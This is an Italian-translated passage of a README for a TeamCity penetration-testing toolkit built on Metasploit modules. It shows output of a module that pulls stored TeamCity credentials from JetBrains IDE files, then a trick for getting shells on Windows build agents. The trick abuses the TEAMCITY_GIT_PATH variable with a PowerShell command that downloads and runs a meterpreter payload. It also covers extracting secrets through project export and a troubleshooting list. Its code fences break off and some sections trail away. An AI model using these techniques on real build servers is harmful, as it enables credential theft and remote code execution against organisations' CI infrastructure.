L'output si presenta così:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

8. Esegui build personalizzato su tutti gli agent compatibili

![Run build](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## Shell sugli agent di build Windows

Per impostazione predefinita, `Project Developer` non può modificare/creare build step.

Quindi non è possibile aggiungere ed eseguire la nostra riga di comando malevola.

Possiamo provare a bypassarlo su Windows utilizzando [Variabili d'ambiente personalizzate ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). Come?

TeamCity supporta [git checkout sull'agente](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).

Prima dell'esecuzione del build step, l'agente scarica i dati più recenti dal server git:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

![Build with environment variable](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

Nei log di build appare così:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

Ora puoi accedere usando: `http://teamcity/login.html?super=1`

## Credenziali salvate

TeamCity memorizza elementi come `VCS root passwords`, `password parameters` o `SSH keys` in forma crittografata e non ne mostra i contenuti tramite interfaccia web o API. Ma può essere aggirato usando la funzione `export`. Vai a **Il tuo progetto->Settings Export->Export**

![Esportazione del progetto](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

Quei file appaiono così:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

L'output appare così:

Opzioni aggiuntive:

| Nome | Descrizione |
|:---:|:---:|
|PROJECT_ID|Specifica l'ID del progetto, per impostazione predefinita creerà un nuovo progetto casuale|
|BUILD_TYPE_ID|Specifica l'ID del tipo di build, per impostazione predefinita creerà un nuovo tipo di build casuale|
|VCS_ID|Specifica l'ID VCS, per impostazione predefinita creerà un nuovo VCS casuale|
|CLEANUP|Elimina il progetto/la build/la radice VCS creati|
|SERVER_PLUGIN|Percorso a [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|Percorso alla directory GIT|

# Risoluzione dei problemi

  1. Non riesco a caricare i moduli Metasploit

  Ricontrolla se hai copiato `teamcity.rb` in `~/.msf4/modules/exploits` e `jetbrains.rb` in `~/.msf4/modules/post` nella directory.
  Metasploit richiede che i moduli exploit siano all'interno della directory `exploits` e i moduli post all'interno della directory `post`.

  2. Attenzione! I seguenti moduli non possono essere caricati! LoadError non posso caricare il file -- kdbx

  Hai installato il [modulo kdbx](#installazione)? Se sì, esci da Metasploit ed eseguilo di nuovo. Usa il comando `reload_all`.

  3. Non riesco a ottenere le password dall'IDE installato su Mac/Linux

  Attualmente è supportato solo Windows. Ci dispiace.

  4. Post fallito: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operazione fallita: 1

  Probabilmente stai usando java meterpreter. Non ha alcune API importanti. Migra su `windows/meterpreter/reverse_tcp` e riprova.

  5. Esecuzione come SYSTEM, impossibile decifrare i dati

  Perché le password sono crittografate utilizzando l'API `CryptUnprotectData`, la funzione di decodifica deve essere eseguita nel contesto dell'account utente normale.

  6. Non ottengo [shell sul server](#shell-sul-server)

  Esegui l'exploit una seconda volta.

  7. `teamcit.rb` non funziona anche se l'utente corrente ha privilegi sufficienti

  Questo modulo non supporta ruoli personalizzati.

  8. Impossibile trovare git in %path%. Cambia GIT_PATH

  Abbiamo bisogno del binario `git` e `git-upload-pack` per configurare il server Git che ospiterà il nostro meterpreter. Uso l'idea da [qui](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).

    ```
    set GIT_PATH /tua/percorso/alla/dir/git
    ```

  9. Impossibile accedere come `username:password`

  Ricontrolla le credenziali:

    set USERNAME il_tuo_nome_utente
    set PASSWORD la_tua_password

  10. Impossibile trovare il plugin del server: %path%. Modifica SERVER_PLUGIN

  Specifica dove è archiviato [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)

    set SERVER_PLUGIN /tuo/percorso/a/serverplugin.zip

  11. [-] Exploit fallito: Rex::RuntimeError La risorsa fornita è già stata aggiunta.

  Termina i job in background usando `jobs -K`

  12. Associa LHOST a un indirizzo IP specifico, non a 0.0.0.0

  Associa a un indirizzo IP specifico, ad esempio:  ```
  use LHOST 192.168.1.123

e poi specifica l'ID del progetto:  ```
set PROJECT_ID test

set HttpTrace 1
set LogLevel 3